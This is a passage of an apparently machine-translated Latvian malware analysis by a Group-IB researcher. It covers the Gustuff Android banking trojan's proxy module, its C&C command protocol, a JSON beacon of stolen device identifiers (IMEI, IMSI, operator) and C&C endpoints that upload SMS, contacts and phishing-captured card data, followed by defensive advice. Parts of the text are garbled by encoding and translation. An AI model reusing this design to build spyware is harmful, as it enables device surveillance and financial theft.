Pēc tam tas pārvērÅ” to par virknes attēlojumu un reÄ£istrē to.

Starpniekservera modulis tiek palaists pēc atbilstoŔās komandas saņemÅ”anas. Kad tiek saņemta komanda palaist starpniekservera moduli, lietojumprogramma sāk izsauktu pakalpojumu GalvenaisService, kas atbild par Proxy moduļa darbÄ«bas pārvaldÄ«bu ā€“ tā palaiÅ”anu un apturÄ“Å”anu.

Pakalpojuma uzsākŔanas posmi:

1. Ieslēdz taimeri, kas darbojas reizi minūtē, un pārbauda starpniekservera moduļa darbību. Ja modulis nav aktīvs, tas to palaiž.
Arī tad, kad notikums tiek aktivizēts android.net.conn.CONNECTIVITY_CHANGE Tiek palaists starpniekservera modulis.

2. Lietojumprogramma izveido modināŔanas bloÄ·Ä“Å”anu ar parametru PARTIAL_WAKE_LOCK un sagÅ«sta viņu. Tas neļauj ierÄ«ces centrālajam procesoram pāriet miega režīmā.

3. Palaiž starpniekservera moduļa komandu apstrādes klasi, vispirms reÄ£istrējot rindu mainLog("sākt serveri") Šø

Serveris::start() resursdators[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

kur proxy_cnc, command_port un proxy_port ā€“ parametri, kas iegÅ«ti no starpniekservera konfigurācijas.

Tiek izsaukta komandu apstrādes klase CommandConnection. TÅ«lÄ«t pēc palaiÅ”anas veiciet Ŕādas darbÄ«bas:

4. Savienojas ar ProxyConfigClass.host: ProxyConfigClass.commandPort un nosūta uz turieni datus par inficēto ierīci JSON formātā:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Kur:

  • id ā€” identifikators, mēģina iegÅ«t vērtÄ«bu ar lauku ā€œidā€ no koplietoto preferenču faila ar nosaukumu ā€œxā€. Ja Å”o vērtÄ«bu nevar iegÅ«t, tas Ä£enerē jaunu. Tādējādi starpniekservera modulim ir savs identifikators, kas tiek Ä£enerēts lÄ«dzÄ«gi kā robota ID.
  • imei ā€” ierÄ«ces IMEI. Ja vērtÄ«bas iegÅ«Å”anas procesā radās kļūda, Ŕī lauka vietā tiks rakstÄ«ts kļūdas Ä«sziņa.
  • imsi ā€” ierÄ«ces starptautiskā mobilā abonenta identitāte. Ja vērtÄ«bas iegÅ«Å”anas procesā radās kļūda, Ŕī lauka vietā tiks rakstÄ«ts kļūdas Ä«sziņa.
  • modelis ā€” galalietotājam redzams galaprodukta nosaukums.
  • ražotājs ā€” produkta/aparatÅ«ras ražotājs (Build.MANUFACTURER).
  • androidVersion ā€” virkne formātā "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • valsts ā€” ierÄ«ces paÅ”reizējā atraÅ”anās vieta.
  • partnerId ir tukÅ”a virkne.
  • packName ā€” pakotnes nosaukums.
  • networkType ā€” paÅ”reizējā tÄ«kla savienojuma veids (piemērs: ā€œWIFIā€, ā€œMOBILEā€). Kļūdas gadÄ«jumā atgriež nulli.
  • hasGsmSupport ā€” true ā€” ja tālrunis atbalsta GSM, pretējā gadÄ«jumā false.
  • simReady ā€” SIM kartes stāvoklis.
  • simCountry ā€” ISO valsts kods (pamatojoties uz SIM kartes nodroÅ”inātāju).
  • networkOperator ā€” operatora nosaukums. Ja vērtÄ«bas iegÅ«Å”anas procesā radās kļūda, Ŕī lauka vietā tiks rakstÄ«ts kļūdas Ä«sziņa.
  • simOperator ā€” pakalpojumu sniedzēja nosaukums (SPN). Ja vērtÄ«bas iegÅ«Å”anas procesā radās kļūda, Ŕī lauka vietā tiks rakstÄ«ts kļūdas Ä«sziņa.
  • versija - Å”is lauks tiek saglabāts konfigurācijas klasē; pārbaudÄ«tajām robotprogrammatÅ«ras versijām tas bija vienāds ar ā€œ1.6ā€.

5. Pārslēdzas uz komandu gaidÄ«Å”anas režīmu no servera. Komandas no servera ir Ŕādā formātā:

  • 0 nobÄ«de ā€“ komanda
  • 1 nobÄ«de ā€“ sessionID
  • 2 nobÄ«de ā€“ garums
  • 4 nobÄ«de - dati

Kad tiek saņemta komanda, lietojumprogramma reģistrē:
mainLog("Galvene { sessionId<%id%>], tips[<%command%>], garums[<%length%>] }")

Ir iespējamas Ŕādas komandas no servera:

Vārds Komanda Datums Apraksts
savienojuma ID 0 Savienojuma ID Izveidojiet jaunu savienojumu
SLEEP 3 Laiks Apturiet starpniekservera moduli
PINGPONGS 4 Sākot no Nosūtiet PONG ziņojumu

PONG ziņojums sastāv no 4 baitiem un izskatās Ŕādi: 0x04000000.

Kad tiek saņemta komanda connectId (lai izveidotu jaunu savienojumu) CommandConnection izveido klases gadījumu Starpniekservera savienojums.

  • StarpniekserverÄ« piedalās divas klases: Starpniekservera savienojums Šø beigas. Veidojot klasi Starpniekservera savienojums pieslēdzoties adresei ProxyConfigClass.host: ProxyConfigClass.proxyPort un nododot JSON objektu:

 {
    "id":<%connectionId%>
}

Atbildot uz to, serveris nosÅ«ta SOCKS5 ziņojumu, kurā ir norādÄ«ta attālā servera adrese, ar kuru ir jāizveido savienojums. MijiedarbÄ«ba ar Å”o serveri notiek caur klasi beigas. Savienojuma iestatÄ«jumu shematiski var attēlot Ŕādi:

Kā Android Trojas zirgs Gustuff izņem krēmu (fiat un crypto) no jūsu kontiem

Tīkla mijiedarbība

Lai novērstu trafika analÄ«zi, ko veic tÄ«kla sniffers, mijiedarbÄ«bu starp CnC serveri un lietojumprogrammu var aizsargāt, izmantojot SSL protokolu. Visi pārsÅ«tÄ«tie dati gan no servera, gan uz to tiek parādÄ«ti JSON formātā. Lietojumprogramma darbÄ«bas laikā izpilda Ŕādus pieprasÄ«jumus:

  • http://<%CnC%>/api/v1/set_state.php ā€” komandas izpildes rezultāts.
  • http://<%CnC%>/api/v1/get.php ā€” komandas saņemÅ”ana.
  • http://<%CnC%>/api/v1/load_sms.php ā€” Ä«sziņu lejupielāde no inficētas ierÄ«ces.
  • http://<%CnC%>/api/v1/load_ab.php ā€” kontaktpersonu saraksta augÅ”upielāde no inficētas ierÄ«ces.
  • http://<%CnC%>/api/v1/aevents.php ā€“ pieprasÄ«jums tiek veikts, atjauninot parametrus, kas atrodas preferenču failā.
  • http://<%CnC%>/api/v1/set_card.php ā€” augÅ”upielādējot datus, kas iegÅ«ti, izmantojot pikŔķerÄ“Å”anas logu, kas tiek maskēts kā Google Play tirgus.
  • http://<%CnC%>/api/v1/logs.php - žurnāla datu augÅ”upielāde.
  • http://<%CnC%>/api/v1/records.php ā€“ datu augÅ”upielāde, kas iegÅ«ta, izmantojot pikŔķerÄ“Å”anas logus.
  • http://<%CnC%>/api/v1/set_error.php ā€“ paziņojums par notikuÅ”u kļūdu.

Ieteikumi

Lai pasargātu savus klientus no mobilo Trojas zirgu radÄ«tajiem draudiem, uzņēmumiem jāizmanto visaptveroÅ”i risinājumi, kas ļauj uzraudzÄ«t un novērst ļaunprātÄ«gas darbÄ«bas, neinstalējot lietotāju ierÄ«cēs papildu programmatÅ«ru.

Lai to izdarÄ«tu, parakstu metodes mobilo Trojas zirgu noteikÅ”anai ir jāpastiprina ar tehnoloÄ£ijām, kas analizē gan klienta, gan paÅ”as lietojumprogrammas uzvedÄ«bu. AizsardzÄ«bā jāiekļauj arÄ« ierÄ«ces identifikācijas funkcija, izmantojot digitālo pirkstu nospiedumu tehnoloÄ£iju, kas ļaus saprast, kad konts tiek lietots no netipiskas ierÄ«ces un jau ir nonācis krāpnieka rokās.

Principiāli svarÄ«gs punkts ir starpkanālu analÄ«zes pieejamÄ«ba, kas ļauj uzņēmumiem kontrolēt riskus, kas rodas ne tikai internetā, bet arÄ« mobilajā kanālā, piemēram, mobilās bankas aplikācijās, darÄ«jumiem ar kriptovalÅ«tām un jebkuriem citiem, kur darÄ«jumus var veikt.finanÅ”u darÄ«jums.

DroŔības noteikumi lietotājiem:

  • neinstalējiet lietojumprogrammas mobilajai ierÄ«cei ar Android OS no citiem avotiem, izņemot Google Play, Ä«paÅ”u uzmanÄ«bu pievērsiet lietojumprogrammas pieprasÄ«tajām tiesÄ«bām;
  • regulāri instalējiet Android OS atjauninājumus;
  • pievērsiet uzmanÄ«bu lejupielādēto failu paplaÅ”inājumiem;
  • neapmeklējiet aizdomÄ«gus resursus;
  • NeklikŔķiniet uz saitēm, kas saņemtas Ä«sziņās.

Lomās Semjons Rogačova, jaunākais speciālists ļaunprātīgas programmatūras izpētē Group-IB Computer Forensics Laboratory.

Avots: www.habr.com

Pievieno komentāru